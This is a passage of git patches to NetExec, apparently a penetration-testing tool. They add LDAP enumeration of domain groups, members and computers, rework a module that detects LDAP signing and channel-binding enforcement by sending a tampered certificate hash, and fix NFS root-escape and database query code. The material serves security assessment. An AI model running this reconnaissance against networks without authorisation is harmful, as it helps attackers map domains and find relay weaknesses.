24cdf8d6041131a335ea00428c2c09aa4f936bd1 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 3 Mar 2025 19:39:47 -0500 Subject: [PATCH 302/376] Add possibility to enumerate group members via ldap --- nxc/protocols/ldap.py | 31 ++++++++++++++++++------------- nxc/protocols/ldap/proto_args.py | 2 +- 2 files changed, 19 insertions(+), 14 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 33960d62..4209a44d 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -673,25 +673,30 @@ class ldap(connection): def groups(self): # Building the search filter - search_filter = "(objectCategory=group)" - attributes = ["name"] + if self.args.groups: + self.logger.debug(f"Dumping group: {self.args.groups}") + search_filter = f"(cn={self.args.groups})" + attributes = ["member"] + else: + search_filter = "(objectCategory=group)" + attributes = ["cn"] resp = self.search(search_filter, attributes, 0) - if resp: - self.logger.debug(f"Total of records returned {len(resp):d}") + resp_parsed = parse_result_attributes(resp) + self.logger.debug(f"Total of records returned {len(resp):d}") - for item in resp: - if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: - continue - name = "" + if self.args.groups: + if not resp: + self.logger.fail(f"Group {self.args.groups} not found") + else: + for user in resp_parsed[0]["member"]: + self.logger.highlight(user.split(",")[0].split("=")[1]) + else: + for item in resp_parsed: try: - for attribute in item["attributes"]: - if str(attribute["type"]) == "name": - name = str(attribute["vals"][0]) - self.logger.highlight(f"{name}") + self.logger.highlight(item["cn"]) except Exception as e: self.logger.debug("Exception:", exc_info=True) self.logger.debug(f"Skipping item, cannot process due to error {e}") - return def dc_list(self): # Building the search filter diff --git a/nxc/protocols/ldap/proto_args.py b/nxc/protocols/ldap/proto_args.py index 34fc22ce..8cb3ebe8 100644 --- a/nxc/protocols/ldap/proto_args.py +++ b/nxc/protocols/ldap/proto_args.py @@ -22,7 +22,7 @@ def proto_args(parser, parents): vgroup.add_argument("--password-not-required", action="store_true", help="Get the list of users with flag PASSWD_NOTREQD") vgroup.add_argument("--admin-count", action="store_true", help="Get objets that had the value adminCount=1") vgroup.add_argument("--users", nargs="*", help="Enumerate enabled domain users") - vgroup.add_argument("--groups", action="store_true", help="Enumerate domain groups") + vgroup.add_argument("--groups", nargs="?", const="", help="Enumerate domain groups, if a group is specified than its members are enumerated") vgroup.add_argument("--dc-list", action="store_true", help="Enumerate Domain Controllers") vgroup.add_argument("--get-sid", action="store_true", help="Get domain sid") vgroup.add_argument("--active-users", nargs="*", help="Get Active Domain Users Accounts") From fc6e34ef76431b8c270bb518ce01d39379fedd95 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 3 Mar 2025 19:45:56 -0500 Subject: [PATCH 303/376] Deprecate group-mem module --- nxc/modules/group-mem.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/nxc/modules/group-mem.py b/nxc/modules/group-mem.py index f9464ee3..b6b95f02 100644 --- a/nxc/modules/group-mem.py +++ b/nxc/modules/group-mem.py @@ -19,7 +19,9 @@ class NXCModule: answers = [] def options(self, context, module_options): - """ + r""" + [DEPRECATED] Use the ldap flag '--groups "Administrators"' instead of the module group-mem. Will be removed in the future. + group-mem: Specify group-mem to call the module GROUP: Specify the GROUP option to query for that group's members Usage: nxc ldap $DC-IP -u Username -p Password -M group-mem -o GROUP="domain admins" @@ -34,6 +36,9 @@ class NXCModule: sys.exit(1) def on_login(self, context, connection): + self.logger.fail("[DEPRECATED] Use the ldap flag '--groups \"Administrators\"' instead of the module group-mem. Will be removed in the future.") + return None + # First look up the SID of the group passed in search_filter = "(&(objectCategory=group)(cn=" + self.GROUP + "))" attribute = "objectSid" From 0a5c1fd698d2851f57ba2e84bd48c9455a8ede01 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 3 Mar 2025 19:58:57 -0500 Subject: [PATCH 304/376] Add --computers from smb to ldap --- nxc/protocols/ldap.py | 10 ++++++++++ nxc/protocols/ldap/proto_args.py | 1 + 2 files changed, 11 insertions(+) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 4209a44d..4a015aa4 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -20,6 +20,7 @@ from impacket.dcerpc.v5.samr import ( UF_TRUSTED_FOR_DELEGATION, UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION, UF_SERVER_TRUST_ACCOUNT, + SAM_MACHINE_ACCOUNT, ) from impacket.krb5 import constants from impacket.krb5.kerberosv5 import getKerberosTGS, SessionKeyDecryptionError @@ -698,6 +699,15 @@ class ldap(connection): self.logger.debug("Exception:", exc_info=True) self.logger.debug(f"Skipping item, cannot process due to error {e}") + def computers(self): + resp = self.search(f"(sAMAccountType={SAM_MACHINE_ACCOUNT})", ["name"], 0) + resp_parse = parse_result_attributes(resp) + + if resp: + self.logger.display(f"Total records returned: {len(resp_parse)}") + for item in resp_parse: + self.logger.highlight(item["name"] + "$") + def dc_list(self): # Building the search filter resolv = resolver.Resolver() diff --git a/nxc/protocols/ldap/proto_args.py b/nxc/protocols/ldap/proto_args.py index 8cb3ebe8..0dc21126 100644 --- a/nxc/protocols/ldap/proto_args.py +++ b/nxc/protocols/ldap/proto_args.py @@ -23,6 +23,7 @@ def proto_args(parser, parents): vgroup.add_argument("--admin-count", action="store_true", help="Get objets that had the value adminCount=1") vgroup.add_argument("--users", nargs="*", help="Enumerate enabled domain users") vgroup.add_argument("--groups", nargs="?", const="", help="Enumerate domain groups, if a group is specified than its members are enumerated") + vgroup.add_argument("--computers", action="store_true", help="Enumerate domain computers") vgroup.add_argument("--dc-list", action="store_true", help="Enumerate Domain Controllers") vgroup.add_argument("--get-sid", action="store_true", help="Get domain sid") vgroup.add_argument("--active-users", nargs="*", help="Get Active Domain Users Accounts") From 9203a5817c6e043308f6d864f4ab1d4d2e5f25ed Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 3 Mar 2025 20:01:01 -0500 Subject: [PATCH 305/376] Remove dead code that was used by --users and --computers --- nxc/protocols/smb.py | 14 -------------- 1 file changed, 14 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 3f69354d..e2decb2b 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -1270,20 +1270,6 @@ class smb(connection): group_id = self.db.add_group(self.hostname, group_name, rid=group_rid)[0] self.logger.debug(f"Added group, returned id: {group_id}") - def domainfromdsn(self, dsn): - dsnparts = dsn.split(",") - domain = "" - for part in dsnparts: - k, v = part.split("=") - if k == "DC": - domain = v if domain == "" else domain + "." + v - return domain - - def domainfromdnshostname(self, dns): - dnsparts = dns.split(".") - domain = ".".join(dnsparts[1:]) - return domain, dnsparts[0] + "$" - def groups(self): self.logger.display("[DEPRECATED] Arg moved to the ldap protocol") return From d201e4047e1867a43170f45d2452a3254d3060f7 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 3 Mar 2025 20:18:59 -0500 Subject: [PATCH 306/376] Fix --groups for groups without users or only one user --- nxc/protocols/ldap.py | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 4a015aa4..b24aebf7 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -680,21 +680,29 @@ class ldap(connection): attributes = ["member"] else: search_filter = "(objectCategory=group)" - attributes = ["cn"] + attributes = ["cn", "member"] resp = self.search(search_filter, attributes, 0) resp_parsed = parse_result_attributes(resp) self.logger.debug(f"Total of records returned {len(resp):d}") if self.args.groups: - if not resp: + if not resp_parsed: self.logger.fail(f"Group {self.args.groups} not found") + elif not resp_parsed[0]: + self.logger.fail(f"Group {self.args.groups} has no members") else: + # Fix if group has only one member + if not isinstance(resp_parsed[0]["member"], list): + resp_parsed[0]["member"] = [resp_parsed[0]["member"]] for user in resp_parsed[0]["member"]: self.logger.highlight(user.split(",")[0].split("=")[1]) else: for item in resp_parsed: try: - self.logger.highlight(item["cn"]) + # Fix if group has only one member + if not isinstance(item.get("member", []), list): + item["member"] = [item["member"]] + self.logger.highlight(f"{item['cn']:<40} membercount: {len(item.get('member', []))}") except Exception as e: self.logger.debug("Exception:", exc_info=True) self.logger.debug(f"Skipping item, cannot process due to error {e}") From a91761a755ea63ac5141eab201a3de361d50ee4e Mon Sep 17 00:00:00 2001 From: Fox Date: Thu, 6 Mar 2025 14:03:06 -0800 Subject: [PATCH 307/376] Improve reliability of ldap-checker module --- nxc/modules/ldap-checker.py | 342 ++++++++++++++++++++---------------- nxc/protocols/ldap.py | 2 +- 2 files changed, 193 insertions(+), 151 deletions(-) diff --git a/nxc/modules/ldap-checker.py b/nxc/modules/ldap-checker.py index 3a13f2cc..59e9550a 100644 --- a/nxc/modules/ldap-checker.py +++ b/nxc/modules/ldap-checker.py @@ -1,6 +1,8 @@ import socket import ssl import asyncio +import hashlib +import random from msldap.connection import MSLDAPClientConnection from msldap.commons.target import MSLDAPTarget @@ -10,19 +12,18 @@ from asyauth.common.credentials.ntlm import NTLMCredential from asyauth.common.credentials.kerberos import KerberosCredential from asysocks.unicomm.common.target import UniTarget, UniProto -import sys +import contextlib class NXCModule: """ - Checks whether LDAP signing and channelbinding are required. + Checks whether LDAP signing and LDAPS channel binding are required and/or enforced. - Module by LuemmelSec (@theluemmel), updated by @zblurx + Module by LuemmelSec (@theluemmel), updated by @zblurx/@Mercury0 Original work thankfully taken from @zyn3rgy's Ldap Relay Scan project: https://github.com/zyn3rgy/LdapRelayScan """ - name = "ldap-checker" - description = "Checks whether LDAP signing and binding are required and / or enforced" + description = "Checks whether LDAP signing and channel binding are required and / or enforced" supported_protocols = ["ldap"] opsec_safe = True multiple_hosts = True @@ -30,122 +31,149 @@ class NXCModule: def options(self, context, module_options): """No options available.""" - def on_login(self, context, connection): - # Conduct a bind to LDAPS and determine if channel - # binding is enforced based on the contents of potential - # errors returned. This can be determined unauthenticated, - # because the error indicating channel binding enforcement - # will be returned regardless of a successful LDAPS bind. - async def run_ldaps_noEPA(target, credential): - ldapsClientConn = MSLDAPClientConnection(target, credential) - _, err = await ldapsClientConn.connect() - - # Required step to try to bind without channel binding - ldapsClientConn.cb_data = None - - if err is not None: - context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err)) - sys.exit() - - valid, err = await ldapsClientConn.bind() - if "data 80090346" in str(err): - return True # channel binding IS enforced - elif "data 52e" in str(err): - return False # channel binding not enforced - elif err is None: - # LDAPS bind successful - # because channel binding is not enforced - return False - - # Conduct a bind to LDAPS with channel binding supported - # but intentionally miscalculated. In the case that and - # LDAPS bind has without channel binding supported has occurred, - # you can determine whether the policy is set to "never" or - # if it's set to "when supported" based on the potential - # error received from the bind attempt. - async def run_ldaps_withEPA(target, credential): - ldapsClientConn = MSLDAPClientConnection(target, credential) - _, err = await ldapsClientConn.connect() - if err is not None: - context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err)) - sys.exit() - # forcing a miscalculation of the "Channel Bindings" av pair in Type 3 NTLM message - ldapsClientConn.cb_data = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - _, err = await ldapsClientConn.bind() - if "data 80090346" in str(err): - return True - elif "data 52e" in str(err): - return False - elif err is not None: - context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err)) - elif err is None: - return False - - # Domain Controllers do not have a certificate setup for - # LDAPS on port 636 by default. If this has not been setup, - # the TLS handshake will hang and you will not be able to - # interact with LDAPS. The condition for the certificate - # existing as it should is either an error regarding - # the fact that the certificate is self-signed, or - # no error at all. Any other "successful" edge cases - # not yet accounted for. - def DoesLdapsCompleteHandshake(dcIp): - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.settimeout(5) - ssl_context = ssl.create_default_context() - ssl_context.check_hostname = False - ssl_sock = ssl_context.wrap_socket( - s, - do_handshake_on_connect=False, - suppress_ragged_eofs=False, - ) - try: - ssl_sock.connect((dcIp, 636)) - ssl_sock.do_handshake() - ssl_sock.close() - return True - except Exception as e: - if "CERTIFICATE_VERIFY_FAILED" in str(e): - ssl_sock.close() - return True - if "handshake operation timed out" in str(e): - ssl_sock.close() - return False - else: - context.log.fail("Unexpected error during LDAPS handshake: " + str(e)) - ssl_sock.close() - return False - - # Conduct and LDAP bind and determine if server signing - # requirements are enforced based on potential errors - # during the bind attempt. - async def run_ldap(target, credential): - try: - ldapsClientConn = MSLDAPClientConnection(target, credential) - ldapsClientConn._disable_signing = True - _, err = await ldapsClientConn.connect() - if err is not None: - context.log.fail(str(err)) - return None - - _, err = await ldapsClientConn.bind() - if err is not None: - errstr = str(err).lower() - if "stronger" in errstr: - return True - # because LDAP server signing requirements ARE enforced - else: - context.log.fail(str(err)) - else: - # LDAPS bind successful - return False - # because LDAP server signing requirements are not enforced - except Exception as e: - context.log.debug(str(e)) + # Conduct a bind to LDAPS and determine if channel + # binding is enforced based on the contents of potential + # errors returned. This can be determined unauthenticated, + # because the error indicating channel binding enforcement + # will be returned regardless of a successful LDAPS bind. + async def run_ldaps_noEPA(self, context, connection, target, credential): + try: + client = MSLDAPClientConnection(target, credential) + _, err = await client.connect() + if err: + context.log.debug(f"Error connecting to {connection.domain}: {err}") return None - - # Run trough all our code blocks to determine LDAP signing and channel binding settings. + client.cb_data = None + _, err = await client.bind() + if err and "data 80090346" in str(err): + return True # -> channel binding IS enforced + elif err and "data 52e" in str(err): + return False # -> channel binding not enforced + elif err is None: + return False # LDAPS bind successful -> channel binding not enforced + else: + context.log.debug(f"Unexpected error during LDAPS bind (noEPA): {err}") + return None + except Exception as e: + context.log.debug(f"Exception in run_ldaps_noEPA: {e}") + return None + finally: + with contextlib.suppress(Exception): + await client.disconnect() + + # Conduct a bind to LDAPS with channel binding supported + # but intentionally miscalculated. In the case that an + # LDAPS bind without channel binding supported has occurred, + # you can determine whether the policy is set to "never" or + # if it's set to "when supported" based on the potential + # error received from the bind attempt. + async def run_ldaps_withEPA(self, context, connection, target, credential): + try: + client = MSLDAPClientConnection(target, credential) + _, err = await client.connect() + if err: + context.log.fail(f"Error connecting to {connection.domain}: {err}") + return None + + try: + context.log.debug("Retrieving TLS certificate hash...") + ssl_context = ssl.create_default_context() + ssl_context.check_hostname = False + ssl_context.verify_mode = ssl.CERT_NONE + + with socket.create_connection((connection.host, 636)) as sock, ssl_context.wrap_socket(sock, server_hostname=connection.host) as ssl_sock: + cert = ssl_sock.getpeercert(binary_form=True) + + if cert: + cert_hash = hashlib.sha256(cert).digest() + context.log.debug(f"Original certificate hash: {cert_hash.hex()}") + pos = random.randint(0, len(cert_hash) - 1) + tampered_bytes = bytearray(cert_hash) + tampered_bytes[pos] = (tampered_bytes[pos] + 1) % 256 + context.log.debug(f"Tampered certificate hash: {bytes(tampered_bytes).hex()}") + context.log.debug(f"Modified byte at position {pos}") + client.cb_data = b"tls-server-end-point:" + bytes(tampered_bytes) + else: + client.cb_data = b"\x00" * 64 + except Exception as e: + context.log.debug(f"Failed to retrieve TLS certificate hash: {e}") + client.cb_data = b"\x00" * 64 + + _, err = await client.bind() + if err and "data 80090346" in str(err): + return True + elif (err and "data 52e" in str(err)) or err is None: + return False + else: + context.log.fail(f"Unexpected error during LDAPS bind (withEPA): {err}") + return None + except Exception as e: + context.log.fail(f"Exception in run_ldaps_withEPA: {e}") + return None + + + # Domain Controllers do not have a certificate setup for + # LDAPS on port 636 by default. If this has not been setup, + # the TLS handshake will hang and you will not be able to + # interact with LDAPS. The condition for the certificate + # existing as it should is either an error regarding + # the fact that the certificate is self-signed, or + # no error at all. Any other "successful" edge cases + # not yet accounted for. + def does_ldaps_complete_handshake(self, context, dc_ip): + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(5) + ssl_context = ssl.create_default_context() + ssl_context.check_hostname = False + ssl_sock = ssl_context.wrap_socket(s, do_handshake_on_connect=False, suppress_ragged_eofs=False) + try: + ssl_sock.connect((dc_ip, 636)) + ssl_sock.do_handshake() + return True + except Exception as e: + if "CERTIFICATE_VERIFY_FAILED" in str(e): + return True + elif "handshake operation timed out" in str(e): + return False + else: + context.log.fail(f"Unexpected error during LDAPS handshake: {e}") + return False + finally: + ssl_sock.close() + + # Conduct an LDAP bind and determine if server signing + # requirements are enforced based on potential errors + # during the bind attempt. + async def run_ldap(self, context, target, credential): + try: + client = MSLDAPClientConnection(target, credential) + client._disable_signing = True # deliberately disable LDAP signing on client connection + _, err = await client.connect() + if err: + context.log.fail(f"Error connecting for LDAP bind: {err}") + return None + + _, err = await client.bind() + if err: + errstr = str(err).lower() + if "stronger" in errstr: + return True + # because LDAP server signing requirements ARE enforced + else: + context.log.fail(f"LDAP bind error: {err}") + return None + else: + # LDAPS bind successful + return False + # because LDAP server signing requirements are not enforced + except Exception as e: + context.log.debug(f"Exception during LDAP bind: {e}") + return None + + # Determine authentication context and proceed to + # enumerate LDAP signing and channel binding settings + def on_login(self, context, connection): stype = asyauthSecret.PASS secret = connection.password if connection.nthash: @@ -154,21 +182,24 @@ class NXCModule: if connection.aesKey: stype = asyauthSecret.AES secret = connection.aesKey - if connection.username == "" and secret == "": - credential = NTLMCredential( - secret=None, - username="Guest", - domain=None, - stype=stype, - ) - context.log.info("No username used, skipping LDAP signing check") + + anon_credential = NTLMCredential( + secret="", + username="", + domain=connection.domain, + stype=asyauthSecret.PASS + ) + + if not connection.username and not secret: + context.log.highlight("No credentials provided, skipping LDAP signing check") + credential = anon_credential else: if not connection.kerberos: credential = NTLMCredential( secret=secret, username=connection.username, domain=connection.domain, - stype=stype, + stype=stype ) else: kerberos_target = UniTarget( @@ -189,29 +220,40 @@ class NXCModule: stype=stype, ) - target = MSLDAPTarget(connection.host, 389, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost) - ldapIsProtected = asyncio.run(run_ldap(target, credential)) - if ldapIsProtected is False: - context.log.highlight("LDAP Signing NOT Enforced!") - elif ldapIsProtected is True: - context.log.fail("LDAP Signing IS Enforced") + ldap_signing_status = None + if connection.username or secret: + target = MSLDAPTarget( + connection.host, 389, + hostname=connection.remoteName, + domain=connection.domain, + dc_ip=connection.kdcHost, + ) + ldap_signing_status = asyncio.run(self.run_ldap(context, target, credential)) + if ldap_signing_status is True: + context.log.highlight("LDAP signing IS enforced") + elif ldap_signing_status is False: + context.log.highlight("LDAP signing NOT enforced") else: - context.log.fail("Connection fail, exiting now") - sys.exit() + context.log.fail("Could not determine LDAP signing requirement.") - if DoesLdapsCompleteHandshake(connection.host) is True: - target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost) - ldapsChannelBindingAlwaysCheck = asyncio.run(run_ldaps_noEPA(target, credential)) - target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost) - ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(target, credential)) - if ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is True: - context.log.highlight('LDAPS Channel Binding is set to "When Supported"') - elif ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is False: - context.log.highlight('LDAPS Channel Binding is set to "NEVER"') - elif ldapsChannelBindingAlwaysCheck is True: - context.log.fail('LDAPS Channel Binding is set to "Required"') + if self.does_ldaps_complete_handshake(context, connection.host): + target = MSLDAPTarget( + connection.host, 636, + UniProto.CLIENT_SSL_TCP, + hostname=connection.remoteName, + domain=connection.domain, + dc_ip=connection.kdcHost, + ) + ldaps_noEPA = asyncio.run(self.run_ldaps_noEPA(context, connection, target, anon_credential)) + ldaps_withEPA = asyncio.run(self.run_ldaps_withEPA(context, connection, target, anon_credential)) + + if ldaps_noEPA is False and ldaps_withEPA is True: + context.log.highlight("LDAPS channel binding is set to: When Supported") + elif ldaps_noEPA is False and ldaps_withEPA is False: + context.log.highlight("LDAPS channel binding is set to: Never") + elif ldaps_noEPA is True: + context.log.highlight("LDAPS channel binding is set to: Required") else: - context.log.fail("\nSomething went wrong...") - sys.exit() + context.log.fail("Could not determine LDAPS channel binding settings") else: - context.log.fail(connection.domain + " - cannot complete TLS handshake, cert likely not configured") + context.log.fail(f"{connection.domain} - TLS handshake failed; certificate likely not configured") \ No newline at end of file diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 33960d62..226abfda 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -573,7 +573,7 @@ class ldap(connection): attributes = ["objectSid"] resp = self.search(search_filter, attributes, sizeLimit=0) answers = [] - if resp and (self.password != "" or self.lmhash != "" or self.nthash != "") and self.username != "": + if resp and (self.password != "" or self.lmhash != "" or self.nthash != "" or self.aesKey != "") and self.username != "": for attribute in resp[0][1]: if str(attribute["type"]) == "objectSid": sid = self.sid_to_str(attribute["vals"][0]) From d43b861533a074d04257a34bccb8325affcbefa9 Mon Sep 17 00:00:00 2001 From: n3rada <72791564+n3rada@users.noreply.github.com> Date: Fri, 7 Mar 2025 10:56:36 +0100 Subject: [PATCH 308/376] Remove poetry.toml --- poetry.toml | 5 ----- 1 file changed, 5 deletions(-) delete mode 100644 poetry.toml diff --git a/poetry.toml b/poetry.toml deleted file mode 100644 index d27d6593..00000000 --- a/poetry.toml +++ /dev/null @@ -1,5 +0,0 @@ -[virtualenvs] -create = true -in-project = true -always-copy = false -system-site-packages = true \ No newline at end of file From d2140672186c82f69a5013dc85aefca1b78ad47a Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 7 Mar 2025 10:18:05 -0500 Subject: [PATCH 309/376] Fix exception when it is not possible to list share --- nxc/protocols/nfs.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index 48bf9f1c..7957deba 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -590,6 +590,10 @@ class nfs(connection): self.logger.debug(f"Trying root escape on shares: {shares}") for share in shares: mount_info = self.mount.mnt(share, self.auth) + if mount_info["status"] != 0: + self.logger.debug(f"Root escape: can't list directory {share}: {NFSSTAT3[mount_info['status']]}") + self.mount.umnt(self.auth) + continue mount_fh = mount_info["mountinfo"]["fhandle"] try: possible_root_fhs = self.get_root_handles(mount_fh) From d0a4be44475b5adb944670c251f38b6c4cd0f799 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 7 Mar 2025 10:27:25 -0500 Subject: [PATCH 310/376] Move connection error to info instead of fail similar to smb etc --- nxc/protocols/nfs.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index 7957deba..04d534cc 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -116,7 +116,7 @@ class nfs(connection): self.port = self.mnt_port self.proto_logger() except Exception as e: - self.logger.fail(f"Error during Initialization: {e}") + self.logger.info(f"Error during Initialization: {e}") return False return True From 5889e55906b3db8a42e8cd49193472694198261a Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Fri, 7 Mar 2025 20:02:45 -0500 Subject: [PATCH 311/376] fix: check if an IP is being searched for when calling get_hosts in db calls; fixes #589 --- nxc/database.py | 15 ++++++++++++++- nxc/protocols/ftp/database.py | 6 +++--- nxc/protocols/mssql/database.py | 5 ++--- nxc/protocols/smb/database.py | 7 ++++--- nxc/protocols/ssh/database.py | 6 +++--- nxc/protocols/winrm/database.py | 7 +++---- 6 files changed, 29 insertions(+), 17 deletions(-) diff --git a/nxc/database.py b/nxc/database.py index af8b6e1e..23b7a0f3 100644 --- a/nxc/database.py +++ b/nxc/database.py @@ -1,4 +1,5 @@ import configparser +import ipaddress import shutil import sys from os import mkdir @@ -8,7 +9,7 @@ from pathlib import Path from sqlite3 import connect from threading import Lock -from sqlalchemy import create_engine, MetaData +from sqlalchemy import create_engine, MetaData, func from sqlalchemy.exc import IllegalStateChangeError from sqlalchemy.orm import sessionmaker, scoped_session @@ -109,7 +110,19 @@ def initialize_db(): # Even if the default workspace exists, we still need to check if every protocol has a database (in case of a new protocol) init_protocol_dbs("default") + +def format_host_query(q, filter_term, HostsTable): + # one annoying thing is that if you search for an ip such as '10.10.10.5', it will return 10.10.10.5 and 10.10.10.52, so we have to check if its an ip address first + try: + ipaddress.ip_address(filter_term) + nxc_logger.debug(f"filter_term is an IP address: {filter_term}") + q = q.filter(HostsTable.c.ip == filter_term) + except ValueError: + nxc_logger.debug(f"filter_term is not an IP address: {filter_term}") + like_term = func.lower(f"%{filter_term}%") + q = q.filter(HostsTable.c.ip.like(like_term) | func.lower(HostsTable.c.hostname).like(like_term)) + return q class BaseDB: def __init__(self, db_engine): diff --git a/nxc/protocols/ftp/database.py b/nxc/protocols/ftp/database.py index a0fff212..14157c18 100644 --- a/nxc/protocols/ftp/database.py +++ b/nxc/protocols/ftp/database.py @@ -7,7 +7,7 @@ from sqlalchemy.exc import ( NoSuchTableError, ) -from nxc.database import BaseDB +from nxc.database import BaseDB, format_host_query from nxc.logger import nxc_logger @@ -221,8 +221,8 @@ class database(BaseDB): return [results] # if we're filtering by host elif filter_term and filter_term != "": - like_term = func.lower(f"%{filter_term}%") - q = q.filter(self.HostsTable.c.host.like(like_term)) + q = format_host_query(q, filter_term, self.HostsTable) + results = self.db_execute(q).all() nxc_logger.debug(f"FTP get_hosts() - results: {results}") return results diff --git a/nxc/protocols/mssql/database.py b/nxc/protocols/mssql/database.py index 94ba5e3e..b88b0227 100755 --- a/nxc/protocols/mssql/database.py +++ b/nxc/protocols/mssql/database.py @@ -5,7 +5,7 @@ from sqlalchemy import func, select, insert, update, delete, Table from sqlalchemy.dialects.sqlite import Insert # used for upsert from sqlalchemy.exc import SAWarning, NoInspectionAvailable, NoSuchTableError -from nxc.database import BaseDB +from nxc.database import BaseDB, format_host_query from nxc.logger import nxc_logger # if there is an issue with SQLAlchemy and a connection cannot be cleaned up properly it spews out annoying warnings @@ -272,7 +272,6 @@ class database(BaseDB): q = q.filter(func.lower(self.HostsTable.c.domain) == func.lower(domain)) # if we're filtering by ip/hostname elif filter_term and filter_term != "": - like_term = func.lower(f"%{filter_term}%") - q = select(self.HostsTable).filter(self.HostsTable.c.ip.like(like_term) | func.lower(self.HostsTable.c.hostname).like(like_term)) + q = format_host_query(q, filter_term, self.HostsTable) return self.db_execute(q).all() diff --git a/nxc/protocols/smb/database.py b/nxc/protocols/smb/database.py index 91cbf918..2f927086 100755 --- a/nxc/protocols/smb/database.py +++ b/nxc/protocols/smb/database.py @@ -11,7 +11,7 @@ from sqlalchemy.exc import ( ) from sqlalchemy.exc import SAWarning -from nxc.database import BaseDB +from nxc.database import BaseDB, format_host_query from nxc.logger import nxc_logger # if there is an issue with SQLAlchemy and a connection cannot be cleaned up properly it spews out annoying warnings @@ -349,6 +349,7 @@ class database(BaseDB): hosts = self.get_hosts(host) if users and hosts: + nxc_logger.debug(f"users: {users}, hosts: {hosts}") for user, host in zip(users, hosts, strict=True): user_id = user[0] host_id = host[0] @@ -468,8 +469,8 @@ class database(BaseDB): q = q.filter(self.HostsTable.c.domain.like(like_term)) # if we're filtering by ip/hostname elif filter_term and filter_term != "": - like_term = func.lower(f"%{filter_term}%") - q = q.filter(self.HostsTable.c.ip.like(like_term) | func.lower(self.HostsTable.c.hostname).like(like_term)) + q = format_host_query(q, filter_term, self.HostsTable) + results = self.db_execute(q).all() nxc_logger.debug(f"smb hosts() - results: {results}") return results diff --git a/nxc/protocols/ssh/database.py b/nxc/protocols/ssh/database.py index 88aa6e27..c8ee5226 100644 --- a/nxc/protocols/ssh/database.py +++ b/nxc/protocols/ssh/database.py @@ -9,7 +9,7 @@ from sqlalchemy.exc import ( NoSuchTableError, ) -from nxc.database import BaseDB +from nxc.database import BaseDB, format_host_query from nxc.logger import nxc_logger from nxc.paths import NXC_PATH @@ -348,8 +348,8 @@ class database(BaseDB): return [results] # if we're filtering by host elif filter_term and filter_term != "": - like_term = func.lower(f"%{filter_term}%") - q = q.filter(self.HostsTable.c.host.like(like_term)) + q = format_host_query(q, filter_term, self.HostsTable) + results = self.db_execute(q).all() nxc_logger.debug(f"SSH get_hosts() - results: {results}") return results diff --git a/nxc/protocols/winrm/database.py b/nxc/protocols/winrm/database.py index fdc09c08..e1056fd6 100644 --- a/nxc/protocols/winrm/database.py +++ b/nxc/protocols/winrm/database.py @@ -1,5 +1,4 @@ import sys - from sqlalchemy import Table, select, func, delete from sqlalchemy.dialects.sqlite import Insert from sqlalchemy.exc import ( @@ -7,7 +6,7 @@ from sqlalchemy.exc import ( NoSuchTableError, ) -from nxc.database import BaseDB +from nxc.database import BaseDB, format_host_query from nxc.logger import nxc_logger @@ -309,8 +308,8 @@ class database(BaseDB): q = q.filter(self.HostsTable.c.domain.like(like_term)) # if we're filtering by ip/hostname elif filter_term and filter_term != "": - like_term = func.lower(f"%{filter_term}%") - q = q.filter(self.HostsTable.c.ip.like(like_term) | func.lower(self.HostsTable.c.hostname).like(like_term)) + q = format_host_query(q, filter_term, self.HostsTable) + results = self.db_execute(q).all() nxc_logger.debug(f"winrm get_hosts() - results: {results}") return results From bb838c75e21eb9bf84eaa30efb62eba2c7293b45 Mon Sep 17 